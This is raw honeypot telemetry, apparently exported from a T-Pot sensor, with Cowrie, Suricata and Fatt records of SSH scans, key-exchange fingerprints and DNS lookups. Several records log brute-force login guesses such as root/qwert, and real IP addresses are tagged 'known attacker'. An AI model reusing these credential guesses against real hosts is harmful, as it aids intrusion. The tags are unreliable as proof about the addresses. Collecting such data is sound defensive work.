"AAADzAYUCVPOXDRYjtjZe7MAK3OU1wAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35263, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:02:54.611165Z", "@timestamp": "2021-09-20T12:02:54.611Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......S.\\\\4X...{..+s.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
34675	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:03:29.252038+03	2021-09-20 15:15:02.213487+03	{"_id": "dQYWA3wBvYTbRNuE-FdT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.login.failed", "message": "login attempt [saulo/123456] failed", "session": "cd7108cee2c2", "@version": "1", "password": "123456", "username": "saulo", "timestamp": "2021-09-20T12:03:29.252038Z", "@timestamp": "2021-09-20T12:03:29.252Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	NL
34652	203.176.71.44	109.199.241.180	Suricata	2021-09-20 15:02:54.611069+03	2021-09-20 15:15:02.179489+03	{"_id": "8QYWA3wBvYTbRNuEcFal", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "203.176.71.44", "dest_ip": "192.168.20.116", "flow_id": 615799398963220, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35263, "dest_port": 22, "timestamp": "2021-09-20T12:02:54.611069Z", "@timestamp": "2021-09-20T12:02:54.611Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
34653	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:02:54.29408+03	2021-09-20 15:15:02.181487+03	{"_id": "8wYWA3wBvYTbRNuEcVav", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "203.176.71.44", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35263, "timestamp": "2021-09-20T12:02:54.294080", "@timestamp": "2021-09-20T12:02:54.294Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34654	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:03:14.829264+03	2021-09-20 15:15:02.182487+03	{"_id": "OgYWA3wBvYTbRNuEwFc-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36008, "dest_port": 443, "timestamp": "2021-09-20T12:03:14.829264", "@timestamp": "2021-09-20T12:03:14.829Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
34655	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:03:14.869514+03	2021-09-20 15:15:02.184487+03	{"_id": "OwYWA3wBvYTbRNuEwFc-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36008, "timestamp": "2021-09-20T12:03:14.869514", "@timestamp": "2021-09-20T12:03:14.869Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
34656	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:03:14.779347+03	2021-09-20 15:15:02.185487+03	{"_id": "PwYWA3wBvYTbRNuEwle3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 31495, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 336190586938451, "@version": "1", "in_iface": "enp5s0", "src_port": 39060, "dest_port": 53, "timestamp": "2021-09-20T12:03:14.779347Z", "@timestamp": "2021-09-20T12:03:14.779Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
34733	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:03:42.143789+03	2021-09-20 15:15:02.294519+03	{"_id": "uQYXA3wBvYTbRNuEK1cj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.login.failed", "message": "login attempt [root/qwert] failed", "session": "f6ee8aa32e0d", "@version": "1", "password": "qwert", "username": "root", "timestamp": "2021-09-20T12:03:42.143789Z", "@timestamp": "2021-09-20T12:03:42.143Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
34657	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:03:14.780452+03	2021-09-20 15:15:02.186486+03	{"_id": "QAYWA3wBvYTbRNuEwle3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 31495, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2480, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 336190586938451, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 39060, "timestamp": "2021-09-20T12:03:14.780452Z", "@timestamp": "2021-09-20T12:03:14.780Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
34658	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 15:03:15.933077+03	2021-09-20 15:15:02.188487+03	{"_id": "RgYWA3wBvYTbRNuExVeD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 107.173.209.238:40220 (192.168.176.2:22) [session: 7c7ea25b0bf0]", "session": "7c7ea25b0bf0", "@version": "1", "protocol": "ssh", "src_port": 40220, "dest_port": 22, "timestamp": "2021-09-20T12:03:15.933077Z", "@timestamp": "2021-09-20T12:03:15.933Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	US
34659	107.173.209.238	109.199.241.180	Suricata	2021-09-20 15:03:16.083186+03	2021-09-20 15:15:02.189486+03	{"_id": "SQYWA3wBvYTbRNuExlef", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.173.209.238", "dest_ip": "192.168.20.116", "flow_id": 1036736260147715, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 40220, "dest_port": 22, "timestamp": "2021-09-20T12:03:16.083186Z", "@timestamp": "2021-09-20T12:03:16.083Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	US
34660	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 15:02:52.589094+03	2021-09-20 15:15:02.190486+03	{"_id": "6AYWA3wBvYTbRNuEa1ae", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "77957ea013f0", "@version": "1", "duration": 2.170642852783203, "timestamp": "2021-09-20T12:02:52.589094Z", "@timestamp": "2021-09-20T12:02:52.589Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	US
34661	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:03:11.94941+03	2021-09-20 15:15:02.192487+03	{"_id": "NgYWA3wBvYTbRNuEtlf-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:03:11.949410Z", "@timestamp": "2021-09-20T12:03:11.949Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34662	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:03:03.155788+03	2021-09-20 15:15:02.193487+03	{"_id": "GAYWA3wBvYTbRNuEkle1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.219:46024 (192.168.176.2:22) [session: 46d89f64aa51]", "session": "46d89f64aa51", "@version": "1", "protocol": "ssh", "src_port": 46024, "dest_port": 22, "timestamp": "2021-09-20T12:03:03.155788Z", "@timestamp": "2021-09-20T12:03:03.155Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	RU
34663	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:03:03.219834+03	2021-09-20 15:15:02.195487+03	{"_id": "FgYWA3wBvYTbRNuEkle1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "46d89f64aa51", "@version": "1", "timestamp": "2021-09-20T12:03:03.219834Z", "@timestamp": "2021-09-20T12:03:03.219Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	RU
34664	5.188.62.219	109.199.241.180	Suricata	2021-09-20 15:03:03.218887+03	2021-09-20 15:15:02.197487+03	{"_id": "GQYWA3wBvYTbRNuEk1fS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.219", "dest_ip": "192.168.20.116", "flow_id": 1701096833118971, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46024, "dest_port": 22, "timestamp": "2021-09-20T12:03:03.218887Z", "@timestamp": "2021-09-20T12:03:03.218Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	RU
34665	5.188.62.219	109.199.241.180	Fatt	2021-09-20 15:03:03.219127+03	2021-09-20 15:15:02.198488+03	{"_id": "GwYWA3wBvYTbRNuElFfd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.219", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 46024, "dest_port": 22, "timestamp": "2021-09-20T12:03:03.219127", "@timestamp": "2021-09-20T12:03:03.219Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	RU
34666	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:03:04.368927+03	2021-09-20 15:15:02.200486+03	{"_id": "IgYWA3wBvYTbRNuEllef", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 120.36.157.98:38807 (192.168.176.2:22) [session: e489385630c2]", "session": "e489385630c2", "@version": "1", "protocol": "ssh", "src_port": 38807, "dest_port": 22, "timestamp": "2021-09-20T12:03:04.368927Z", "@timestamp": "2021-09-20T12:03:04.368Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known 